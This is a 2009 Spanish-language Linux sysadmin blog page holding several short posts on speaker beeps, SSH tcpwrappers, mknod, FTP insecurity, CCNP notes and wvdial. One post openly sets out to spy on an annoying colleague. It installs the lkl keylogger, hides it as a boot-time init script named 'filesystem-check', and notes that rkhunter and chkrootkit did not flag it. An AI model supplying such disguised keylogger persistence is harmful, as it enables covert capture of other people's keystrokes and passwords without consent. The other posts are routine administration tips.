  • Documentación: Es increíble : el wiki, los manuales, la comunidad...
Le estoy dando una oportunidad a Gentoo Linux, y la verdad es que no me ha defraudado en absoluto.

jueves, 9 de julio de 2009

Ese molesto pitido...

Creo recordar que en algún momento he recomendado la lectura del blog de Nasser Heidari. Recientemente ha publicado un post en el que indica como desactivar/eliminar el molesto pitido del speaker del PC. Es realmente sencillo, bastante con "cargarse" el módulo pcspkr.ko y listo.

[root@localhost] rmmod -v pcspkr.ko

Si añadimos al fichero /etc/modprobe.d/blacklist una entrada como esta, todo solucionado.

[root@localhost] echo "blacklist pcspkr" >> /etc/modprobe.d/blacklist

martes, 7 de julio de 2009

Jugando a ser malos...

Tengo medio abandonado el blog(falta de tiempo y mucho trabajo), pero bueno, hoy voy a dejar una perla, dedicada especialmente a un personaje que últimamente no para de molestarme, en lugar de hacer su trabajo; pues ahora, amigo mío, te presento a lkl, un keylogger para máquinas GNU/Linux.
Un keylogger es un "registrador" de teclas, es decir, guarda en un fichero todo que "tecleamos".
Para "jugar" con lkl, basta un simple apt-get:

[root@localhost]: apt-get install lkl
[root@localhost]: lkl -h
-- Linux Key Logger vers 0.1.1 --
usage:
-h this help
-l start to log the 0x60 port (keyboard)
-b Debug Mode.Perhaps it's usefoul :P
-k set a keymap file
-o set an output file
-m send logs to every 1k
-t hostname for sendmail server. default is localhost

Example: lkl -l -k keymaps/it_km -o log.file


Poco que explicar de la ayuda: simple y concisa. Por cierto, me flipa que tenga la posibilidad de enviar el log por email cada 1k, aunque pensándolo bien, es un poco cantoso...
El caso es que si queréis que lkl se inicie cada vez que se inicia el sistema, creamos un fichero en /etc/init.d/ , con el nombre(es lo de menos), por ejemplo filesystem-check, con el siguiente contenido:

#!/bin/bash
#
#
FICHERO_LOG=/root/log_keys.txt
mv $FICHERO_LOG $FICHERO_LOG.$$
touch $FICHERO_LOG
case "$1" in
start)
/usr/bin/lkl -l -k /usr/share/lkl/keymaps/us_km -o $FICHERO_LOG &
;;
stop)
pkill lkl
;;
*)
echo "Usa: /etc/init.d/lkl {start|stop}"
exit 1
;;
esac
exit 0

Ahora necesitamos que se ejecute al incio.

[root@localhost] update-rc.d filesystem-check
defaults

He probado con rkhunter y chkrootkit y no ha cantado nada. En fin , será cuestión de mejorar la implementación. De momento, sé de uno que se ha quedado sin...

viernes, 26 de junio de 2009

VI Xornadas, curiosidades y demás...

Mañana se celebran las VI Xornadas de Software Libre en el Concello de Mugardos. El resultado será el fruto de más de cinco años de trabajo del que suscribe y mis compañeros Evaristo y Pablo. Tengo la ponencia al 90%,a falta de unos pequeño retoques, pero por motivos de imprenta, la he tenido que subir a Slideshare.

Una de utilidades:
¿Como deshabilitar shell a un usuario?

chsh -s /sbin/nologin nombreusuario

¿Como monitorizar TX/RX?

watch 'netstat -aniv'

He probado GNUScreen, y la verdad es que me ha sorpredido gratamente. Os animo a que probeis este soft.
Saludos.

miércoles, 24 de junio de 2009

ssh_exchange_identification

Ayer por la tarde, configurando vsftpd en una máquina con Debian GNU/Linux añadí una interfaz de red a mayores. En principio todo parecía funcionar sin problemas. Probe la conectividad desde el segmento de red vía ICMP, pedí vía HTTP un documento al servidor web de esta misma máquina y todo parecía funcionar. La sorpresa es cuando, al llegar a casa ,intento conectarme vía SSH. Misión imposible, devuelve el error: ssh_exchange_identification. La solución fue muy sencilla :

echo 'SSHD: ALL' >> /etc/hosts.allow

Pero mi pregunta es la siguiente: ¿ por qué ? Esto es lo que odio muchas veces de los foros de Internet. La gente resuelve un problema despreocupándose del porqué, algo que a mi modo de ver es tanto o más importante que el propio problema en sí. Saber el origen ayuda a no volver a cometer el mismo error en un futuro. Pues manos a la obra. Vamos a intentar averiguar el por qué del ssh_exchange_identification.
Leo en este post, que OpenSSH usa TCPWrappers, escrito por el maestro Wietse Venema , os suena de algo. Postfix quizá? TCPWrappers es un sistema de Listas de Control de Acceso(ACL) para servicios de la pila de protocolos TCP/IP. Incluye una librería libwrap que incluye las principales funcionalidades de filtrado. Intuyo que al detectar que se ha añadido una nueva interfaz, la acción por defecto es denegar el acceso a SSH; y puesto que TCPWrapper usa /etc/hosts.allow y /etc/hosts.deny para definir qué servicios "envuelve",la explicación ahora, a mi modo de ver, queda un poco más clara, verdad?

Comprobamos si efectivamente OpenSSH está compilado con libwrap:

root@pilarrubio#ldd /usr/sbin/sshd
linux-gate.so.1 => (0xffffe000)
libwrap.so.0 => /lib/libwrap.so.0 (0xb7f3c000)
libpam.so.0 => /lib/libpam.so.0 (0xb7f31000)
libdl.so.2 => /lib/i686/cmov/libdl.so.2 (0xb7f2c000)
libselinux.so.1 => /lib/libselinux.so.1 (0xb7f12000)
libresolv.so.2 => /lib/i686/cmov/libresolv.so.2 (0xb7efc000)
libcrypto.so.0.9.8 => /usr/lib/i686/cmov/libcrypto.so.0.9.8 (0xb7da4000)
(...)

jueves, 18 de junio de 2009

Ocultando, viendo y luchando contra...

Después de más de dos semanas sin postear absolutamente nada, no por falta de ganas, más bien por falta de tiempo. Como comentaba, entre el trabajo,los cursos y la futura asociación y demás actividades, es difícil mantener la actividad del blog. Pero vamos a ello. Cosas interesantes que he visto vía RSS y demás.

Ver cabeceras HTTP en la línea de comandos.

alberto@debian:/tmp$ wget -S www.google.com -O /dev/null
--2009-06-18 05:58:49-- http://www.google.com/
Resolviendo www.google.com... 209.85.135.106, 209.85.135.147, 209.85.135.99, ...
Connecting to www.google.com|209.85.135.106|:80... conectado.
Petición HTTP enviada, esperando respuesta...
HTTP/1.0 302 Found
Location: http://www.google.es/
Cache-Control: private
Content-Type: text/html; charset=UTF-8

Ocultar versión PHP.
Buscamos la el fichero php.ini, en mi caso, en Debian GNU/Linux con apache2 y php5, el fichero en cuestión se localiza en /etc/php5/apache2/php.ini, como comentar Nasser Heidari "Haciendo esto, no harás tu servidor Web más seguro, solo harás que a los hosts remotos les sea un poco más difícil ver qué versión de PHP tienes corriendo en tu sistema".

expose_php = Off

Por cierto, estas tres referencias las he leído en el blog de Nasser. Os recomiendo una entrada reciente , en la que comenta cómo evitar en Apache2 ataques de BruteForce y DoS.
Crear un fichero "ficticio" , en este caso de 10M.
Este es "cojonudo" cuando en una LAN party, en un Server Direct Connect , ponen restricciones del tipo "Mínimo 30GB para poder acceder al servidor", pues toma GB...

dd if=/dev/zero of=testfile.txt bs=1M count=10

Añadir timestamp a mysqldump.

$ mysqldump [options] |gzip ->mysqldump-$(date +%Y-%m-%d-%H.%M.%S).gz


De momento esto es todo.

martes, 2 de junio de 2009

Jugando con mknod

Al generar la llave rsa con ssh-keygen recibo un error del tipo:

apermuy@bezoucos:~$ ssh-keygen
Couldn't open /dev/null: Permission denied

Investigando un poco, llego a la conclusión de que el usuario en cuestión no tiene permisos de escritura en /dev/null. Al ser este un dispositivo que no existe, debemos tirar de mknod para crearlo de nuevo, como en el siguiente ejemplo:

root@bezoucos:/home/bezoucos# mknod --mode=666 /dev/null c 1 3

El mode está claro lo que indica, c indica que es un dispositivo de caracteres con un número mayor que 1 y menor que 3.

Ahora parece que ssh-keygen no se queja:

apermuy@bezoucos:/home/bezoucos$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/apermuy/.ssh/id_rsa):

Documentar mola!

Aceptamos FTP como protocolo inseguro.


Wireshark a calado en los SysAdmins, de eso no hay duda; lo triste de esta historia es que muchos desconocen Ethereal. Pero bueno, muchas veces se lleva la gloria el programador de la GUI en lugar del que se lo ha currado de verdad, sin quitar mérito al primero claro.
Hace unos minutos jugaba con Wireshark para ver qué datos pillaba de una web que estoy programando, y he recordado lo inseguro que es FTP. En su lugar, usa scp,ssh o sshfs.
Fijaos bien en esta captura de pantalla repetid conmigo en voz alta: "Sí, aceptamos FTP, al igual que Windows XP , como protocolo inseguro".

jueves, 28 de mayo de 2009

100%

Estoy al 100%. Desde el día 11 de Mayo estoy haciendo el módulo BCMSN de CCNP, de Lunes a Jueves de 16:30 a 20:45; unido a mi horario laboral de 08:00 a 15:00 horas, os podéis imaginar el poco tiempo que tengo. A modo de mini-resumen semanal, me gustaría añadir unas notas, más que nada para mi recordatorio personal.

Laboral
  • A vueltas con PHP y MySQL.
  • He visto cosas interesantes para importar directamente desde CSV a MySQL.Bastante sencillo con un script en bash, que ahora mismo no localizo.
  • Confirmar que los usuarios de Microsoft Windows, por lo menos la gran mayoría, a parte de "no tener ni idea", no se preocupan lo más mínimo por aprender a utilizar y optimizar su sistema.
  • Estoy trabajando directamente vía SSHFS sobre un directorio en una máquina de desarrollo virtualizada sobre VMWare con unos resultados más que óptimos.Mola!
  • A nivel de seguridad tampoco he hecho grandes cosas: portsentry,lynis...y algún que otro script. Cuestión de tiempo.
CCNP
  • En general: Después del CLP es el curso que más me ha gustado. Un 10 al docente, por conocimientos y ganas.
  • HSRP,VRRP Y GLBP: Interesante, lástima que ahora mismo no pueda tocar Routers Gordos, ya que en el trabajo usan Fortinet. Personalmente lo solucionaría con Quagga, HA, UltraMonkey y esas cosillas que nos gustan a los GNULinuxeros(vale,a veces, las menos, también Maquero, pero con "ports included").
  • Etherchannel: Ah, pero eso no se hacía con ifenslave?(Jaajajjaj)
  • CEF: No me quedó muy claro. Tendré que repasar los apuntes.
  • VLAN & Spanning Tree: Ya lo había visto en el CCNA, pero nunca está demás repasarlo. De VTP casi ni me acordaba.
Personal
  • vsftpd. Instalaré un FTP Server contra MySQL, ahora que sé que libpam-mysql-0.6 hace bugi-bugi, todo será más fácil.
  • Asterisk. En unos seis meses puede salir algo de VoIP. A esperar.
  • Wireless: Para el Kernel 2009 tenemos pensado montar algo guapo con Wifi. Unos pirulos para emitir la señal a todo el pueblo de Mugardos. A ver qué sale.
  • Cisco: He echo cosillas en un 857 esta semana.
  • Xornadas SwLibre 2009. Casi todo listo. Más info aquí.
  • Nuevo monitor de 21,6. Mi regalo de cumpleaños( 30 ).

domingo, 24 de mayo de 2009

Paso del Escritorio Movistar, viva wvdial !

Me he cansado del Escritorio Movistar. Puedo decir que en MacOSX sí funciona bien. Nunca me ha dado problemas, salvo los derivados de la falta de cobertura. Hace un par de semanas le he reinstalado el SO al portátil de mi padre, le he quitado Window$ XP y le he instalado Ubuntu 8.10. Hasta hoy no se ha quejado, con lo cual deduzco que su "pincho 3G" y el Escritorio Movistar funcionan correctamente. No puedo decir lo mismo en Debian GNU/Linux. Si bien es cierto que tengo un sistema más que híbrido , con una mezcla de repositorios que ni yo mismo sé. He indagado algo en el wiki de Debian, y me he enterado de que las interfaces GTK y demás, todas o casi todas, llaman al comando wvdial; pues manos a la obra. En 30 minutos ya tenía el fichero de configuración listo: wvdial.conf. En el blog de amperis tenéis la configuración, pero yo la dejo por aquí.
Fichero wvdial.conf

[Dialer Defaults]
Modem = /dev/ttyUSB0
Modem type = USB Modem
Stupid Mode = 1
Dial Command = ATD
[Dialer pin]
Init1 = AT+CPIN=0000
[Dialer hsdpa]
ISDN = 0
Username = movistar
Password = movistar
Phone = *99***1#
Baud = 460800
Init2 = AT
Init3 = AT&F&D2&C1E0V1S0=0
Init4 = AT+IFC=2,2
Init5 = ATS0=0
Init6 = AT
Init7 = AT&F&D2&C1E0V1S0=0
Init8 = AT+IFC=2,2

Evidentemente debéis cambiar en la cadena Init1 = AT+CPIN=0000, el 0000 por vuestro PIN. Para simplificar la conexión, nos creamos un script en bash para lanzar cuando queramos usar el pincho.

#!/bin/bash
clear
echo "CONEXION 3G MOVISTAR"
wvdial pin
sleep 5
wvdial hsdpa